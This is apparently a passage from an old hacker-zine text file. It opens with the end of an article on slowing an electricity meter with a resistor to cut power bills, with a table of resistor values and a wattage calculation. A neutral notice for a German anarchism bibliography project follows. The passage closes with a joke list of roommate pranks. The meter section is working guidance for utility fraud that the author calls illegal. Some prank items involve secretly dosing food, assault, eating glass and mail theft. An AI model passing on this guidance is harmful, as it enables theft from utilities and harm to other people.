| resistor value rev per time voltage cross resistor rev/hour |
| ------------------------------------------------------------------------------ |
| 0 1 rev/23 seconds 0 156 |
| 1k 1 rev/24 seconds 9. 150 |
| 10K 1 rev/42 seconds 63 85 |
| 12k 1 rev/53 seconds 68 |
| 39K 1 rev/464 seconds ??? 7.25 |
|
|
|
|
|
|
| Notice the 39K resistor's performance, NOT a good choice to use, it |
| will cut your bill to 4% of the original. They will wonder about this. |
| I'm currently using 10K which will cut it to approx 54% of the original bill. |
| My bill is around 1/2 previous. Saving me approx $30-$50 a month in power |
| bills. Not bad for a 10 cent resistor. |
|
|
| Keep in mine the wattage rating of the resistor. Measure the voltage |
| across the resistor. Take that number divide it by the resistor your using |
| to get current. Take the current times current (square it), and multiply |
| this by resistance value to get the wattage of resistor that is required. |
| After all, it would not be a good thing for the resistor to go up in smoke. |
| Mr. Meter Reader would wonder why you used 0 kwh this month. |
|
|
| There also is another method that in theory will make your power bill less, |
| this is called 'power factor correction', but unfortunately requires the use |
| of some rather large (read expensive) AC cap's. For this reason (and the fact |
| it cost under $5 and provides more of a benefit), the method of using the |
| resistor is more useful and do-able by the everyone (especially those |
| who despise the 'system'). |
|
|
|
|
| Notice that I have NOT left a email address or the like for correspondence, |
| namely due to the fact that this is highly illegal and greatly frowned upon |
| by the authorities. If anyone has a need to contact me they may do so via |
| phrack magazine, they can forward mail to me. If you do this modification |
| correctly and per instructions, you will indeed save money. Have fun, |
| be careful, and challenge the system at every turn. |
|
|
| ******************************************************************************* |
|
|
|
|
| DATA BANK OF THE GERMAN SPEAKING AN-ARCHISM |
| The Da.d.A. Project |
| DAtenbank des Deutschsprachigen Anarchismus |
|
|
| Berlin, Koln |
|
|
| The history of the liberative movement has not yet been filed sufficiently. |
| That is, mainly, due to the lack of scientists with interest in exploring this |
| area. Thanks to that, people who need bibliographic information for some |
| specific themes of the history of anarchism, must go through all direct sources |
| and derive from those some conclusions. Things are more difficult in case |
| modern literature is required, for the theory and practice of liberative |
| movements, which have appeared in the meantime. |
|
|
| The data bank of the German speaking anarchism (DAtenbank des |
| Deutschsprachigen Anarchismus) is trying to cover the lack of bibliographic |
| material. Currently it files anarchistic or, generally, liberative documents |
| and publishes. Later it will comprehend documents which deal with the history |
| and theory of those movements. |
|
|
| We are focusing our compilation activities, to the German speaking areas |
| with plans of enhancing that shortly. In parallel we are elaborating |
| an introduction to the publishing history of the printed material, which will |
| be informative for their political and editorial meanings. |
|
|
| From the early 1980's, the filing of the German liberative press is open |
| for exploration. It covers the chronological period from the philosophic |
| commencements of the German anarchism, in the 1832, until nowadays. Strength |
| of expression is given to newspapers and magazines, though collections of |
| documents, almanacs, year-books, congresses' protocols and catalogs are |
| not omitted. |
|
|
| Except of the anarchistic publishes we are also registering material whose |
| cooperatives or publishers were anarchists. The filing is achieved using all |
| the usual bibliographical criterion (titles, publishers, date/district, |
| circulation, place of distribution et cetera). |
|
|
| In order to handle the increasing demands of the people who would like to |
| access our material, we decided to publish our first synthetic registers in a |
| series of brochures. This publication, in restricted copies and four or five |
| continuations, will be available at the "File of Social and Civilization |
| History" of the 'Libertad' publications in Berlin. The first brochure, is |
| occupied with the German liberative press from 1832 to 1890. Every copy of |
| this serial includes a diagram of the press' history, chronological |
| bibliography of the magazines and an index. |
|
|
| We resume special researches through the data bank and we offer the results |
| printed. Until now we have filed over 1000 titles, which offer many different |
| elements for research each. |
|
|
| Da.d.A. is a private, research project. We do not accept donations from |
| state institutions and other similar organizations. In that way we can |
| continue our efforts undistracted and independent. The disadvantage is |
| that we support Da.d.A. with personal expenses and when we have free time |
| available. |
|
|
| The modern liberative press is difficult to register and get filed. |
| Although liberative publications were developed in an unprecedented way |
| (and not only arithmetically) after 1968, few publications are accessible |
| from libraries and files. Especially today we must tune up our practises |
| in order to protect modern press. We encourage every publisher of anarchistic |
| material, even if productions are ceased nowadays, to send us information and, |
| if possible, a copy of their publications. They will get registered in our |
| computer and filed in the library for the Research of Social Demands, in |
| order to be accessible for studies in the future. |
|
|
| For more information about the Da.d.A. project and the possibilities of |
| using the data bank, you can contact us in the following addresses: |
|
|
| BERLINER GESELLSCHAFT ZUM STUDIUM SOZIALER FRAGEN e.V. |
| Projekt: Datenbank des Deutschsprachigen Anarchismus (Da.d.A.) |
|
|
| c/o Jochen Schmuck c/o Gunter Hoering |
| Postfach 440 349 Pfalzer Str.27 |
| 1000 BERLIN 44 5000 KOLN 1 |
| Tel. 030/686 65 24 Tel. 0221/21 81 49 |
|
|
| ******************************************************************************* |
|
|
| [Don't ask me why I'm printing this. I just think it's funny as hell.] |
|
|
| 100 WAYS TO FREAK OUT YOUR ROOMMATE |
|
|
| 1. Smoke jimson weed. Do whatever comes naturally. |
|
|
| 2. Switch the sheets on your beds while s/he is at class. |
|
|
| 3. Twitch a lot. |
|
|
| 4. Pretend to talk while pretending to be asleep. |
|
|
| 5. Steal a fishtank. Fill it with beer and dump sardines in it. Talk to |
| them. |
|
|
| 6. Become a subgenius. |
|
|
| 7. Inject his/her twinkies with a mixture of Dexatrim and MSG. |
|
|
| 8. Learn to levitate. While your roommate is looking away, float up out of |
| your seat. When s/he turns to look, fall back down and grin. |
|
|
| 9. Speak in tongues. |
|
|
| 10. Move you roommate's personal effects around. Start out subtle. |
| Gradually work up to big things, and eventually glue everything s/he |
| owns to the ceiling. |
|
|
| 11. Walk and talk backwards. |
|
|
| 12. Spend all your money on Jolt Cola. Drink it all. Stack the cans in |
| the middle of your room. Number them. |
|
|
| 13. Spend all your money on Transformers. Play with them at night. If |
| your roommate says anything, tell him/her with a straight face, "They're |
| more than meets the eye." |
|
|
| 14. Recite entire movie scripts (e.g. "The Road Warrior," "Repo Man," |
| Casablanca,") almost inaudibly. |
|
|
| 15. Kill roaches with a monkey wrench while playing Wagnerian arias on a |
| kazoo. If your roommate complains, explain that it is for your |
| performance art class (or hit him/her with the wrench). |
|
|
| 16. Collect all your urine in a small jug. |
|
|
| 17. Chain yourself to your roommate's bed. Get him/her to bring you food. |
|
|
| 18. Get a computer. Leave it on when you are not using it. Turn it off |
| when you are. |
|
|
| 19. Ask your roommate if your family can move in "just for a couple of |
| weeks." |
|
|
| 20. Buy as many back issues of Field and Stream as you can. Pretend to |
| masturbate while reading them. |
|
|
| 21. Fake a heart attack. When your roommate gets the paramedics to come, |
| pretend nothing happened. |
|
|
| 22. Eat glass. |
|
|
| 23. Smoke ballpoint pens. |
|
|
| 24. Smile. All the time. |
|
|
| 25. Collect dog shit in baby food jars. Sort them according to what you |
| think the dog ate. |
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| 26. Burn all your waste paper while eying your roommate suspiciously. |
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| 27. Hide a bunch of potato chips and Ho Hos in the bottom of a trash can. |
| When you get hungry, root around in the trash. Find the food, and eat it. |
| If your roommate empties the trash before you get hungry, demand that s/he |
| reimburse you. |
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| 28. Leave a declaration of war on your roommate's desk. Include a list of |
| grievances. |
|
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| 29. Paste boogers on the windows in occult patterns. |
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| 30. Shoot rubber bands at your roommate while his/her back is turned, and |
| then look away quickly. |
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| 31. Dye all your underwear lime green. |
|
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| 32. Spill a lot of beer on his/her bed. Swim. |
|
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| 33. Bye three loaves of stale bread. Grow mold in the closet. |
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| 34. Hide your underwear and socks in your roommate's closet. Accuse |
| him/her of stealing it. |
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| 35. Remove your door. Ship it to your roommate's parents (postage due). |
|
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| 36. Pray to Azazoth or Zoroaster. Sacrifice something nasty. |
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| 37. Whenever your roommate walks in, wait one minute and then stand up. |
| Announce that you are going to take a shower. Do so. Keep this up for |
| three weeks. |
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| 38. Array thirteen toothbrushes of different colors on your dresser. |
| Refuse to discuss them. |
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| 39. Paint your half of the room black. Or paisley. |
|
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| 40. Whenever he/she is about to fall asleep, ask questions that start with |
| "Didja ever wonder why...." Be creative. |
|
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| 41. Shave one eyebrow. |
|
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| 42. Put your mattress underneath your bed. Sleep down under there and pile |
| your dirty clothes on the empty bedframe. If your roommate comments, |
| mutter "Gotta save space," twenty times while twitching violently. |
|
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| 43. Put horseradish in your shoes. |
|
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| 44. Shelve all your books with the spines facing the wall. Complain loudly |
| that you can never find the book that you want. |
|
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| 45. Always flush the toilet three times. |
|
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| 46. Subsist entirely on pickles for a week. Vomit often. |
|
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| 47. Buy a copy of Frankie Yankovic's "Pennsylvania Polka," and play it at |
| least 6 hours a day. If your roommate complains, explain that it's an |
| assignment for your primitive cultures class. |
|
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| 48. Give him/her an allowance. |
|
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| 49. Listen to radio static. |
|
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| 50. Open your window shades before you go to sleep each night. Close them |
| as soon as you wake up. |
|
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| 51. Cry a lot. |
|
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| 52. Send secret admirer notes on your roommate's blitzmail. |
|
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| 53. Clip your fingernails and toenails and keep them in a baggie. Leave the |
| baggie near your computer and snack from it while studying. If he/she |
| walks by, grab the bag close and eye him/her suspiciously. |
|
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| 54. Paste used kleenexes to his/her walls. |
|
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| 55. Whenever your roomate comes in from the shower, lower your eyes and |
| giggle to yourself. |
|
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| 56. If you get in before your roomate, go to sleep in his/her bed. |
|
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| 57. Put pornos under his/her bed. Whenever someone comes to visit your |
| roommate when they're not home, show them the magazines. |
|
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| 58. Whenever you go to sleep, start jumping on your bed . . . do so for a |
| while, then jump really high and act like you hit your head on the ceiling. |
| Crumple onto your bed and fake like you were knocked out . . . use this |
| method to fall asleep every night for a month. |
|
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| 59. If your roommate goes away for a weekend, change the locks. |
|
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| 60. Whenever his/her parents call and ask for your roommate, breathe into the |
| phone for 5 seconds then hang up. |
|
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| 61. Whenever he/she goes to shower, drop whatever you're doing, grab a towel, |
| and go shower too. |
|
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| 62. Find out your roommate's post office box code. Open it and take his/her |
| mail. Do this for one month. After that, send the mail to him/her by UPS. |
|
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| 63. Collect all of your pencil shavings and sprinkle them on the floor. |
|
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| 64. Create an imaginary cat for a pet. Talk to it every night, act like |
| you're holding it, keep a litter box under your desk. After two weeks, |
| say that your cat is missing. Put up signs in your dorm, blame your |
| roommate. |
|
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| 65. Call safety & security whenever your roommate turns up his/her music. |
|
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| 66. Follow him/her around on weekends. |
|
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| 67. Sit on the floor and talk to the wall. |
|
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| 68. Whenever the phone rings, get up and answer the door. |
|
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| 69. Whenever someone knocks, answer the phone. |
|
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| 70. Take his/her underwear. Wear it. |
|
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| 71. Whenever your roommate is walking through the room, bump into him/her. |
|
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| 72. Stare at your roommate for five minutes out of every hour. Don't say |
| anything, just stare. |
|
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| 73. Tell your roommate that someone called and said that it was really |
| important but you can't remember who it was. |
|
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| 74. Let mice loose in his/her room. |
|
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| 75. Give each of your walls a different name. Whenever you can't answer a |
| problem, ask each of your walls. Write down their responses, then ask |
| your ceiling for the final answer. Complain to your roommate that |
| you don't trust your ceiling. |
|
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| 76. Take your roommate's papers and hand them in as your own. |
|
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| 77. Skip to the bathroom. |
|
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| 78. Take all of your roommate's furniture and build a fort. Guard the fort |
| for an entire weekend. |
|
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| 79. Gather up a garbage bag full of leaves and throw them in a pile in |
| his/her room. Jump in them. Comment about the beautiful foliage. |
|
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| 80. When you walk into your room, turn off your lights. Turn them on when |
| you leave. |
|
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| 81. Print up satanic signs and leave them in your room where he/she |
| can find them. |
|
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| 82. Whenever you're on the phone and he/she walks in, hang up immediately |
| without saying anything and crawl under your desk. Sit there for |
| two minutes than call whoever it was back. |
|
|
| 83. Insist on writing the entire lyrics to American Pie on your ceiling above |
| your bed. Sing them every night before you go to bed. |
|
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| 84. Use a bible as Kleenex. Yell at your roommate if they say Jesus or God |
| Damnit. |
|
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| 85. Burn incense. |
|
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| 86. Eat moths. |
|
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| 87. Buy Sea Monkeys and grow them. Name one after your roommate. Announce |
| the next day that it died. Name another one after your roommate. |
| The next day say that it died. Keep this up until they all die. |
|
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| 88. Collect Chia-Pets. |
|
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| 89. Refuse to communicate in anything but sign language. |
|
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| 90. Eat a bag of marshmallows before you go to bed. The next day, spray |
| three bottles of whipped cream all over your floor. Say you got sick. |
|
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| 91. Wipe deodorant all over your roommate's walls. |
|
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| 92. If you know that he/she is in the room, come barging in out of breath. |
| Ask if they saw a fat bald naked Tibetan man run through carrying a |
| hundred dollar bill. Run back out swearing. |
|
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| 93. Leave apple cores on his/her bed. |
|
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| 94. Keep feces in your fridge. Complain that there is never anything to eat. |
|
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| 95. Piss in a jar and leave it by your bed. When your roommate isn't looking, |
| replace it with a jar of apple juice. Wait until your roommate turns |
| around. Drink it. |
|
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| 96. Don't ever flush. |
|
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| 97. Buy an inflatable doll. Sleep with it. |
|
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| 98. Hang stuffed animals with nooses from your ceiling. Whenever you walk by |
| them mutter, "You shouldn't have done that to me." |
|
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| 99. Lick him/her while they are asleep. |
|
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| 100. Dress in drag. |
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